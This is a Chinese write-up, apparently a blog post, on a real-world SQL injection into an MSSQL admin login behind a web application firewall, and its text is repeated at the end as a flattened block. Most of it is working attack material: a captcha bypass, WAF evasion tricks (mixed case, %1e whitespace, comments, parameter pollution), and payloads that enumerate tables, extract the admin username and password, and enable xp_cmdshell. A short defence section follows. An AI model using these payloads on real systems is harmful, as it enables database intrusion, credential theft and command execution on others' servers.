记一次实战MSSQL注入绕过WAF
字数 1127 2025-08-25 22:58:40

MSSQL注入绕过WAF实战技术详解

1. 注入环境概述

  • 目标系统:IIS+ASPX环境下的MSSQL 2012 x64数据库
  • 注入点:后台登录的用户名字段
  • 防护措施:存在WAF(Web应用防火墙)和验证码机制

2. 验证码绕过技术

  • 通过删除Cookie和验证码字段可以绕过验证码机制
  • 这种绕过方式适用于验证码校验不严格的系统

3. WAF绕过核心技术

3.1 基础绕过技巧

  1. 大小写混合:将SQL关键字使用大小写混合形式

    • 示例:eaNd代替andSelEct代替select
  2. 空白符替换

    • 使用MSSQL空白符[0x00-0x20]代替常规空格
    • 示例:%1e作为空白符(0x1e是ASCII记录分隔符)
  3. 注释符使用

    • 使用/**/在函数名和括号之间插入注释
    • 示例:db_name/**/()绕过对db_name()的过滤

3.2 高级绕过技术

  1. 限定符分隔

    • MSSQL中限定符(如'.')左右可插入空白符
    • 示例:infOrmatiOn_sChema%0f.%0ftAbles代替information_schema.tables
  2. 参数污染

    • 在IIS+ASPX环境中,提交多个同名参数时服务端会用逗号连接
    • 结合注释符可绕过部分过滤
    • 示例:SelEct /*&username=*/%1etop%1e1%1etaBle_nAme
  3. 函数名变形

    • 删除函数名的一个字符测试WAF过滤规则
    • 发现过滤后使用变形方式绕过

4. 信息收集技术

4.1 数据库信息获取

  1. 版本信息

    %1eoR%1e1=@@version%1e--
    
  2. 当前用户

    %1eoR%1e1=user%1e--
    
  3. 权限检测

    ;if(0=(SelEct%1eis_srvrolemember('sysadmin')))WaItFOR%1edelay%1e'0:0:5'%1e--
    ;if(0=(SelEct%1eis_srvrolemember('db_owner')))WaItFOR%1edelay%1e'0:0:5'%1e--
    

4.2 数据库结构枚举

  1. 当前数据库名

    %1eoR%1e1=(db_name/**/()%1e)%1e--
    
  2. 表名枚举

    • 一次性查询所有表名:
    %1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom%1ebak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--
    
  3. 列名枚举

    • 查询特定表的所有列:
    %1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom%1ebak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--
    

5. 数据提取技术

  1. 管理员用户名提取

    %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
    
  2. 密码字段提取

    %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--
    

6. 权限提升尝试

  1. xp_cmdshell启用尝试
    ;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e--
    ;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e--
    

7. 防御建议

  1. 输入验证

    • 对所有用户输入进行严格的类型和格式验证
    • 使用参数化查询
  2. WAF规则优化

    • 检测大小写变形的SQL关键字
    • 检测异常空白符的使用
    • 检测函数名和括号之间的异常字符
  3. 权限控制

    • 应用数据库用户使用最小权限原则
    • 禁用不必要的存储过程如xp_cmdshell
  4. 验证码强化

    • 实现服务器端会话绑定验证码
    • 防止验证码绕过
  5. 错误处理

    • 使用自定义错误页面
    • 避免详细错误信息泄露

8. 总结

本案例展示了在MSSQL注入中绕过WAF的多项关键技术,包括:

  • 大小写变形
  • 非常规空白符使用
  • 限定符分隔
  • 参数污染
  • 函数名变形
  • 系统表查询技巧

这些技术可以组合使用,有效绕过许多常规WAF的防护规则。防御方需要从多个层面加强防护,而不仅是依赖WAF。

MSSQL注入绕过WAF实战技术详解 1. 注入环境概述 目标系统 :IIS+ASPX环境下的MSSQL 2012 x64数据库 注入点 :后台登录的用户名字段 防护措施 :存在WAF(Web应用防火墙)和验证码机制 2. 验证码绕过技术 通过删除Cookie和验证码字段可以绕过验证码机制 这种绕过方式适用于验证码校验不严格的系统 3. WAF绕过核心技术 3.1 基础绕过技巧 大小写混合 :将SQL关键字使用大小写混合形式 示例: eaNd 代替 and , SelEct 代替 select 空白符替换 : 使用MSSQL空白符 [0x00-0x20] 代替常规空格 示例: %1e 作为空白符(0x1e是ASCII记录分隔符) 注释符使用 : 使用 /**/ 在函数名和括号之间插入注释 示例: db_name/**/() 绕过对 db_name() 的过滤 3.2 高级绕过技术 限定符分隔 : MSSQL中限定符(如'.')左右可插入空白符 示例: infOrmatiOn_sChema%0f.%0ftAbles 代替 information_schema.tables 参数污染 : 在IIS+ASPX环境中,提交多个同名参数时服务端会用逗号连接 结合注释符可绕过部分过滤 示例: SelEct /*&username=*/%1etop%1e1%1etaBle_nAme 函数名变形 : 删除函数名的一个字符测试WAF过滤规则 发现过滤后使用变形方式绕过 4. 信息收集技术 4.1 数据库信息获取 版本信息 : 当前用户 : 权限检测 : 4.2 数据库结构枚举 当前数据库名 : 表名枚举 : 一次性查询所有表名: 列名枚举 : 查询特定表的所有列: 5. 数据提取技术 管理员用户名提取 : 密码字段提取 : 6. 权限提升尝试 xp_ cmdshell启用尝试 : 7. 防御建议 输入验证 : 对所有用户输入进行严格的类型和格式验证 使用参数化查询 WAF规则优化 : 检测大小写变形的SQL关键字 检测异常空白符的使用 检测函数名和括号之间的异常字符 权限控制 : 应用数据库用户使用最小权限原则 禁用不必要的存储过程如xp_ cmdshell 验证码强化 : 实现服务器端会话绑定验证码 防止验证码绕过 错误处理 : 使用自定义错误页面 避免详细错误信息泄露 8. 总结 本案例展示了在MSSQL注入中绕过WAF的多项关键技术,包括: 大小写变形 非常规空白符使用 限定符分隔 参数污染 函数名变形 系统表查询技巧 这些技术可以组合使用,有效绕过许多常规WAF的防护规则。防御方需要从多个层面加强防护,而不仅是依赖WAF。